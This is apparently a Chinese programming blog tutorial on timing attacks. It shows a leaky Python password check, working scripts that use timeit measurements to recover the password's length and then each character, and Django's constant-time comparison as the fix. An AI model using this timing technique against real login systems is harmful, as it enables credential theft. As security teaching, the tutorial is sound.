用 Python 告诉你什么是计时攻击

somenzz

发布于 2021-11-04 16:27:52

8610

发布于 2021-11-04 16:27:52

文章被收录于专栏：Python七号

用户密码登陆是一个系统常见的鉴权方法，如果处理不当就会隐藏计时攻击漏洞。本文用 Python 告诉你什么是计时攻击，如何进行计时攻击，以及怎么避免。

什么是计时攻击

比如说你验证密码时是按照字符串一位一位的比较，如果某一位不匹配，就返回 False，这样就中招了。因为正确的密码必然需要每一位都参与比较，这样，攻击者就统计不同长度的输入所消耗的时间，消耗时间最长的，就是正确的密码长度。在这个密码长度之下，再逐位通过计时攻击进行破解，消耗时间较长的那个字符就是正确的，时间复杂度也就是O(n*k)，n 允许的字符数量，k 表示密码长度。

用 Python 进行计时攻击

比如说你使用这样的方法来验证用户登陆：

password_database = {"somenzz": "subscribe to python seven"}

def check_password(user, guess):
    actual = password_database[user]
    if len(guess) != len(actual):
        return False
    
    # 逐个字符比较
    for i in range(len(actual)):
        if guess[i] != actual[i]:
            return False
    return True

上面代码的逻辑虽然清晰，却存在计时攻击漏洞，因为长度不一样就返回了，花费的时间最少，当长度正确时需要逐个字符比较，花费时间最长。根据程序的执行耗时可以爆破出正确的密码长度。

比如说穷举 1-30 长度的密码，花费时间最长的那个一定是正确的密码长度，因此可以编写下面的代码来破解密码长度：

import string
import timeit
import numpy as np

allowed_chars = string.ascii_lowercase + " "

def random_str(size):
    return ''.join(random.choices(allowed_chars, k=size))


def crack_length(user, max_len=30, verbose=False) -> int:
    trials = 2000
    times = np.empty(max_len)
    for i in range(max_len):
        i_time = timeit.repeat(stmt='check_password(user, x)',
                               setup=f'user={user!r};x=random_str({i!r})',
                               globals=globals(),
                               number=trials,
                               repeat=10)
        times[i] = min(i_time)

    if verbose:
        # 排序，取最大的前 5 个
        most_likely_n = np.argsort(times)[::-1][:5]
        print(most_likely_n, times[most_likely_n] / times[most_likely_n[0]])

    #取最大
    most_likely = int(np.argmax(times))
    return most_likely 

 def main():
    user = "somenzz"
    length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")   

if __name__ == '__main__':
    main()

执行结果如下：

有了长度，就可以逐个字符破解了，先随机一个 25 位长度的字符串，记为 guess，然后从第一位开始逐位爆破尝试，如果正确，那花费的时间肯定比之前的多，然后就更新 guess，就这样可以爆破出全部的字符串，运行期间如果通过了 check_password，那就返回结果，终止运行，代码如下：

import itertools
import string
import timeit
import numpy as np

"""
将上面的代码复制过来
"""
def crack_password(user, length, verbose=False):
    guess = random_str(length)
    print(f"{guess=}")
    counter = itertools.count()
    print(f"{counter =}")
    trials = 1000
    while True:
        i = next(counter) % length
        for c in allowed_chars:
            alt = guess[:i] + c + guess[i + 1:]

            alt_time = timeit.repeat(stmt='check_password(user, x)',
                                     setup=f'user={user!r};x={alt!r}',
                                     globals=globals(),
                                     number=trials,
                                     repeat=10)
            guess_time = timeit.repeat(stmt='check_password(user, x)',
                                       setup=f'user={user!r};x={guess!r}',
                                       globals=globals(),
                                       number=trials,
                                       repeat=10)

            if check_password(user, alt):
                return alt

            if min(alt_time) > min(guess_time):
                guess = alt
                if verbose:
                    print(guess)

                    
def main():
    user = "somenzz"
    length = crack_length(user, verbose=True)
    print(f"密码最可能的长度是 {length}")
    input("按回车继续破解密码...")
    password = crack_password(user, length, verbose=True)
    print(f"password cracked:'{password}'")


if __name__ == '__main__':
    main()

运行效果如下：

crack_password cost 40.3145 seconds

考虑到都是小写字母，时间复杂度也就是 O(n*k)，n 字符的数量，k 表示密码长度，本案例中也就是 O(26*25)，在我的电脑上 40 秒就破解了，是不是很神奇？

怎么解决计时攻击？

文章开头提到的那种验证字符串是否相等的写法可以说很常见，如果某一位长度不等就没必要继续向右判断了，直接返回即可，还可以提升一点性能，但却会造成计时攻击，作为程序员的你，此时是否觉得有点懵呢？写代码还真是一点点都不能松懈啊。

其实，安全永远是高于性能的，一个不安全的系统，在高的性能恐怕也没人敢用。

那字符串比较最安全的办法是什么呢？那就是把所有的位都比较一遍，可以参考 Django 判断字符串相等的源码：

def constant_time_compare(val1, val2):
    """
    Returns True if the two strings are equal, False otherwise.
    The time taken is independent of the number of characters that match.
    For the sake of simplicity, this function executes in constant time only
    when the two strings have the same length. It short-circuits when they
    have different lengths.
    """
    if len(val1) != len(val2):
        return False
    result = 0
    for x, y in zip(val1, val2):
        result |= ord(x) ^ ord(y)
    return result == 0

不过，上述代码你仍然可以通过计时爆破出长度，却不可能通过统计时间爆破出具体的密码。

如果你不想被爆破出密码的长度，可以将判断长度的逻辑删除，然后补全字符串的长度，让两个字符串的长度始终相等即可。